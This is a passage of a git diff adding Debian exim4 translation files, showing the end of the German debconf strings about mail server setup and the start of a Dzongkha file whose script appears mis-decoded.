<eriks@debian.org>\n" +"Language-Team: German <debian-l10n-german@lists.debian.org>\n" +"Language: de\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: KBabel 1.11.4\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "Nicht zugestellte E-Mails im »spool«-Verzeichnis löschen?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"In Exims »spool«-Verzeichnis /var/spool/exim4/input/ befinden sich noch E-" +"Mails, die noch nicht zugestellt wurden. Wenn Sie Exim entfernen, verbleiben " +"sie dort als nicht zugestellt, bis Exim wieder installiert wird." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Wenn Sie dieser Auswahl nicht zustimmen, bleibt das »spool«-Verzeichnis " +"bestehen. Dadurch können die Mitteilungen in der Warteschlange später " +"zugestellt werden, nachdem Exim wieder installiert wurde." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Exim4-config anstelle dieses Pakets neu einrichten" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Die Einstellungen von Exim4 wurden in ein eigenes Paket, exim4-config, " +"ausgelagert. Benutzen Sie den Befehl 'dpkg-reconfigure exim4-config', um " +"Exim4 neu einzurichten." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "" +"Internet-Server; E-Mails werden direkt über SMTP verschickt und empfangen" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "" +"Versand über Sendezentrale (Smarthost); Empfang mit SMTP oder Fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "Versand über Sendezentrale (Smarthost); keine lokale E-Mail-Zustellung" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "Nur lokale E-Mail-Zustellung; keine Netzwerkverbindung" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "Keine Festlegung zum jetzigen Zeitpunkt" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Generelle E-Mail-Einstellungen:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"Bitte wählen Sie die Einstellung des E-Mail-Servers, die Ihren Bedürfnissen " +"am besten entspricht." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"Systeme mit wechselnder IP-Adresse, einschließlich Systeme mit " +"Einwahlzugängen, sollten ausgehende E-Mails immer an einen anderen Rechner, " +"Sendezentrale (»Smarthost«) genannt, zum Versenden weitergeben, weil viele " +"Empfänger im Internet ankommende E-Mails von wechselnden IP-Adressen zum " +"Schutz vor unerwünschten E-Mails (Spam) ablehnen." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Ein System mit wechselnder IP-Adresse kann selbst E-Mails empfangen oder die " +"lokale Zustellung kann abgeschaltet werden (außer E-Mails für die Benutzer " +"root und postmaster)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Soll das E-Mail-System wirklich nicht eingerichtet werden?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Das E-Mail-System ist nicht funktionsfähig, bis Sie es einrichten. Sie " +"können Exim später manuell einrichten oder als Benutzer root den Befehl " +"'dpkg-reconfigure exim4-config' aufrufen." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "E-Mail-Name des Systems:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"Der »E-Mail-Name« ist der Domänenname, der für E-Mail-Adressen, die keinen " +"Domänennamen haben, verwendet wird." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Dieser Name wird auch von anderen Programmen genutzt. Er sollte der " +"eindeutige, vollqualifizierte Domänenname (FQDN) sein." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Wenn also foo@example.org eine E-Mail-Adresse auf dem lokalen Rechner ist, " +"dann ist hier »example.org« richtig." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Dieser Name taucht nicht in der Absender-Zeile (From:) ausgehender E-Mails " +"auf, wenn »Umschreiben« (rewriting) aktiviert wird." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Weitere Ziele, für die E-Mails angenommen werden sollen:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Bitte geben Sie eine durch Semikolon getrennte Liste der Empfänger-Domänen " +"an, für die dieser Rechner das endgültige Ziel sein soll. Diese Domänen " +"werden allgemein als »lokale Domänen« (local domains) bezeichnet. Der lokale " +"Rechnername (${fqdn}) und »localhost« werden auch noch an die hier " +"eingegebene Liste angehängt." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Laut Voreinstellung werden alle angeführten Domänen gleich behandelt. Wenn a." +"beispiel und b.beispiel lokale Domänen sind, werden E-Mails an acc@a." +"beispiel und acc@b.beispiel an dasselbe endgültige Ziel geschickt. Wenn " +"unterschiedliche Domänen unterschiedlich behandelt werden sollen, müssen Sie " +"die Konfigurationsdateien nachher selbst bearbeiten." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Domänen, für die dieser Rechner E-Mails weiterleitet (Relay):" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Bitte geben Sie eine durch Semikolon getrennte Liste der Empfängerdomänen " +"an, für die dieser Rechner E-Mails weiterleiten soll, z. B. als E-Mail-" +"Server (MX) in Reserve oder E-Mail-Knoten. Das bedeutet, dass das System E-" +"Mails für diese Domänen von überall aus dem Internet annimmt und anhand " +"lokaler Regeln zustellt." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "" +"Geben Sie keine lokalen Domänen ein. Platzhalter können benutzt werden." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Rechner, für die E-Mails weitergeleitet werden (Relay):" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Bitte geben Sie eine durch Semikolon getrennte Liste der IP-Adressbereiche " +"ein, für die das System E-Mails, in der Funktion einer Sendezentrale " +"(Smarthost), bedingungslos weiterleiten soll." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Sie sollten das Standardformat »Adresse/Maske« (z. B. 194.222.242.0/24 oder " +"5f03:1200:836f::/48) verwenden." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Wenn das System nicht als Sendezentrale (Smarthost) für andere Rechner " +"arbeiten soll, lassen Sie die Liste leer." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Sichtbarer Domänenname für lokale Benutzer:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"Die Möglichkeit, den lokalen E-Mail-Namen in ausgehenden E-Mails zu " +"verbergen, wurde ausgewählt. Deshalb ist es erforderlich, den Domänennamen " +"anzugeben, den das System als Domänenteil der Absenderadresse lokaler " +"Benutzer verwendet." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "IP-Adresse oder Rechnername der Sendezentrale für ausgehende E-Mails:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Bitte geben Sie die IP-Adresse oder den Rechnernamen eines E-Mail-Servers " +"ein, den dieses System als ausgehende Sendezentrale (Smarthost) benutzen " +"soll. Wenn die Sendezentrale Ihre E-Mails nur an einem anderen Port als " +"TCP/25 annimmt, hängen Sie zwei Doppelpunkte und die Portnummer an (z. B. " +"sendezentrale.beispiel::587 oder 192.168.254.254::2525). Die Doppelpunkte " +"müssen in IPv6-Adressen verdoppelt werden." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Wenn die Sendezentrale eine Authentifizierung erfordert, finden Sie in den " +"Debian-spezifischen README-Dateien im Verzeichnis /usr/share/doc/exim4-base " +"Hinweise zum Einrichten der SMTP-Authentifizierung." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Empfänger der E-Mails an die Benutzer root und postmaster:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"E-Mails an die Benutzer »postmaster«, »root« und andere Systembenutzer-" +"Konten müssen an das Benutzerkonto des momentanen Systemadministrators " +"umgeleitet werden." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Wenn dieser Wert leer bleibt, werden diese E-Mails im Verzeichnis /var/mail/" +"mail abgelegt, was nicht zu empfehlen ist." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Beachten Sie, dass die E-Mails für »postmaster« lokal gelesen und nicht auf " +"ein anderes System weitergeleitet werden sollten, daher sollten alle (oder " +"mindestens einer) der angegebenen Benutzer seine bzw. ihre E-Mails nicht " +"nach außerhalb weiterleiten. Verwenden Sie den Vorsatz »real-« um lokale " +"Zustellung zu erzwingen." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "Mehrere Benutzernamen müssen durch Leerzeichen getrennt werden." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "IP-Adressen, an denen eingehende SMTP-Verbindungen erwartet werden:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Bitte geben Sie eine durch Semikolon getrennte Liste von IP-Adressen ein. " +"Der SMTP-Empfangsdienst von Exim wird an allen aufgelisteten IP-Adressen auf " +"eingehende SMTP-Verbindungen warten." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Wenn Sie die Liste leer lassen, wird Exim an allen verfügbaren " +"Netzwerkschnittstellen auf eingehende SMTP-Verbindungen warten." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Wenn dieses System E-Mails nur direkt von lokalen Diensten (und nicht von " +"anderen Rechnern) empfängt, sollten Sie Verbindungen externer Rechner zum " +"lokalen Exim verhindern. Diese Dienste umfassen auch E-Mail-Programme " +"(MUAs), die mit »localhost« kommunizieren, sowie Fetchmail. Externe " +"Verbindungen sind nicht möglich, wenn Sie an dieser Stelle 127.0.0.1 " +"eingeben, denn damit verhindern Sie, dass Exim an externen " +"Netzwerkschnittstellen auf Verbindungen wartet." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "DNS-Anfragen minimieren (Automatische Einwahl, Dial-on-Demand)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"Normalerweise führt Exim beim Start, beim Empfangen oder beim Zustellen von " +"Nachrichten DNS-Abfragen durch. Das geschieht für die Protokolldatei und um " +"die Anzahl fest eingetragener Werte in den Einstellungen klein zu halten." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Wenn dieser Rechner keinen dauerhaften Zugang zu DNS-Servern hat (z. B. sich " +"die Internetverbindung bei versuchtem Zugriff auf das Netz automatisch " +"aufbaut (Dial-on-Demand)), kann das ungewollte Auswirkungen haben. " +"Beispielsweise kann das Starten von Exim oder das Abarbeiten der " +"Warteschlange (sogar, wenn diese leer ist) zu einer kostenpflichtigen " +"Einwahl führen." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Sie sollten hier zustimmen, wenn Ihr System einen automatischen " +"Verbindungsaufbau ins Internet benutzt. Wenn Sie eine ständige " +"Internetverbindung haben, sollten Sie hier ablehnen." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "Einrichten des E-Mail-Servers" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Einstellungen auf kleine Dateien aufteilen?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Die Debian-Exim4-Pakete können entweder »zusammenhängende Einstellungen« in " +"einer großen Datei (/etc/exim4/exim4.conf.template) oder »aufgeteilte " +"Einstellungen« verwenden, bei denen die aktuellen Exim-Einstellungen aus " +"rund 50 kleinen Dateien im Verzeichnis /etc/exim4/conf.d/ zusammengesetzt " +"werden." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"Zusammenhängende Einstellungen eignen sich besser für größere Modifikationen " +"und sind grundsätzlich robuster, während aufgeteilte Einstellungen es " +"ermöglichen, mit geringem Aufwand kleine Änderungen vorzunehmen. Das ist " +"allerdings auch anfälliger und könnte bei nicht sorgfältigen Änderungen " +"nicht mehr funktionieren." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"Eine ausführlichere Gegenüberstellung der zusammenhängenden und aufgeteilten " +"Einstellungen finden Sie in den Debian-spezifischen README-Dateien im " +"Verzeichnis /usr/share/doc/exim4-base." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Lokalen E-Mail-Namen in ausgehenden E-Mails verbergen?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Die Kopfzeilen ausgehender E-Mails können umgeschrieben werden, so dass es " +"scheint, als ob sie auf einem anderen Rechner erstellt wurden. Wenn Sie hier " +"zustimmen, werden »${mailname}«, »localhost« und »${dc_other_hostnames}« in " +"den Zeilen From, Reply-To, Sender und Return-Path ersetzt." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "Mbox-Format in /var/mail/" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "Maildir-Format im Home-Verzeichnis" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Versandart bei lokaler E-Mail-Zustellung:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim kann lokal zugestellte E-Mails in verschiedenen Formaten abspeichern. " +"Am häufigsten werden Mbox und Maildir benutzt. Mbox speichert den gesamten E-" +"Mail-Ordner in einer Datei im Verzeichnis /var/mail/. Beim Format Maildir " +"wird jede einzelne E-Mail in einer eigenen Datei im Verzeichnis ~/Maildir/ " +"abgelegt." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Bitte beachten Sie, dass die meisten E-Mail-Programme in Debian das Format " +"Mbox als Standardeinstellung für lokale E-Mail-Zustellung erwarten." + +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "" +#~ "Nicht zugestellte E-Mails vom Exim-3- ins Exim4-»spool«-Verzeichnis " +#~ "verschieben?" + +#~ msgid "" +#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " +#~ "directory /var/spool/exim/input/." +#~ msgstr "" +#~ "Es befinden sich noch nicht zugestellte E-Mails im »spool«-Verzeichnis /" +#~ "var/spool/exim/input/ von Exim 3 (oder Exim-tls 3)." + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "Wenn Sie dieser Auswahl zustimmen, werden diese Mitteilungen in das " +#~ "»spool«-Verzeichnis vom Exim4 (/var/spool/exim4/input/) verschoben. Dort " +#~ "werden sie dann von Exim4 verarbeitet." + +#~ msgid "" +#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" +#~ "versa. If you reject this option, you need to move the messages yourself " +#~ "or they will never be delivered." +#~ msgstr "" +#~ "Das funktioniert allerdings nur in einer Richtung: Exim4 kann die " +#~ "Warteschlange von Exim 3 verarbeiten, aber nicht umgekehrt. Wenn Sie hier " +#~ "nicht zustimmen, müssen Sie die Mitteilungen selbst verschieben oder sie " +#~ "werden nicht zugestellt." + +#~ msgid "Leaving this list blank will have Exim do no local deliveries." +#~ msgstr "Eine leere Liste verhindert die lokale Zustellung." diff --git a/debian/po/dz.po b/debian/po/dz.po new file mode 100644 index 0000000..6b6c989 --- /dev/null +++ b/debian/po/dz.po @@ -0,0 +1,814 @@ +# SOME DESCRIPTIVE TITLE. +# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER +# This file is distributed under the same license as the PACKAGE package. +# Dorji Tashi <dorjee_doss@hotmail.com>, 2006. +# +msgid "" +msgstr "" +"Project-Id-Version: exim4_debian_po\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2007-12-11 17:31+0530\n" +"Last-Translator: Jurmey Rabgay <jur_gay@yahoo.com>\n" +"Language-Team: Dzongkha <pgeyleg@dit.gov.bt>\n" +"Language: dz\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=utf-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Country: Bhutan\n" +"X-Poedit-SourceCharset: utf-8\n" +"Plural-Forms: nplurals=2; plural=(n!=1)\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "འཕྲལ་གསོག་སྣོད་à½à½¼à¼‹à½“ང་ལུ་ མ་སà¾à¾±à½ºà½£à¼‹à½–་ཡོད་མི་ཡིག་འཕྲིན་ཚུ་ རྩ་བསà¾à¾²à½‘་གà½à½„་ནི་ཨིན་ན?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"ཨེག་ཟིམ་འཕྲལ་གསོག་སྣོད་à½à½¼à¼‹ /var/spool/exim4/input/ ནང་ལུ་ ད་ལྟོ་ཡང་མ་སà¾à¾±à½ºà½£à¼‹à½–་ཡོད་མི་ཡིག་འཕྲིན་" +"ཚུ་འདུག ཨེག་ཟིམ་རྩ་བསà¾à¾²à½‘་བà½à½„་མི་འདི་གིས་ དེ་ཚུ་ཨེག་ཟིམ་སླར་གཞི་སྒྲིག་མ་འབད་ཚུན་ འགྲེམ་སྤེལ་མ་འབད་བར་" +"ལུསཔ་ཨིནà¼" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"གདམ་à½à¼‹à½ དི་མ་གདམ་པ་ཅིན་ འཕྲལ་གསོག་སྣོད་à½à½¼à¼‹à½ དི་ ཨེག་ཟིམ་སླར་གཞི་བཙུགས་འབད་བའི་ཤུལ་ལུ་ གྲལ་རིམ་" +"ནང་ཡོད་པའི་འཕྲིན་དོན་ཚུ་ འགྲེམ་སྤེལ་འབད་བཅུགཔ་ཨིན༠" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "à½à½´à½˜à¼‹à½¦à¾’ྲིལ་འདི་གི་ཚབ་ལུ་ exim4-config སླར་རིམ་སྒྲིག་འབདà¼" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Exim4 འདི་ ཆེད་བརྩོན་à½à½´à½˜à¼‹à½¦à¾’ྲིལ་ exim4-config ལུ་ ཆ་རà¾à¾±à½ºà½“་འབད་དེ་ཡོདཔ་ཨིན༠Exim4 ལོག་རིམ་སྒྲིག་" +"འབད་ནི་ལུ་ 'dpkg-reconfigure exim4-config' འདི་ ལག་ལེན་འà½à½–à¼" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "" +"ཨིན་ཊར་ནེཊི་ས་à½à½¼à½„ས་; ཨེསི་ཨེམ་ཊི་པི་ལག་ལེན་འà½à½–་པའི་à½à½¼à½‚་ལས་ ཡིག་འཕྲིན་ཚུ་à½à½‘་ཀར་དུ་ གà½à½„་ནི་དང་ " +"འà½à½¼à½–་ཚུགསཔ་ཨིནà¼" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "" +"སྤུར་བསྒྱིར་དྲགས་ཡོད་མི་ཧོསཊི་གིས་གà½à½„་མི་ཡིག་འཕྲིན་;ཨེསི་ཨེམ་ཊི་པི་ ཡང་ན་ ཡིག་འཕྲིན་ལེན་ནི་བརྒྱུད་དེ་ འà½à½¼à½–་" +"ཨིནà¼" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "སྤུར་བསྒྱིར་དྲགས་ཡོད་མི་ཧོསིཊི་གིས་གà½à½„་ཡོད་པའི་ཡིག་འཕྲིན་; ཉེ་གནས་ཀྱི་ཡིག་འཕྲིན་མེདà¼" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "ཉེས་གནས་ཀྱི་གà½à½„་ནི་རà¾à¾±à½„མ་ཅིག;ཡོངས་འབྲེལ་གུར་མེནà¼" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: 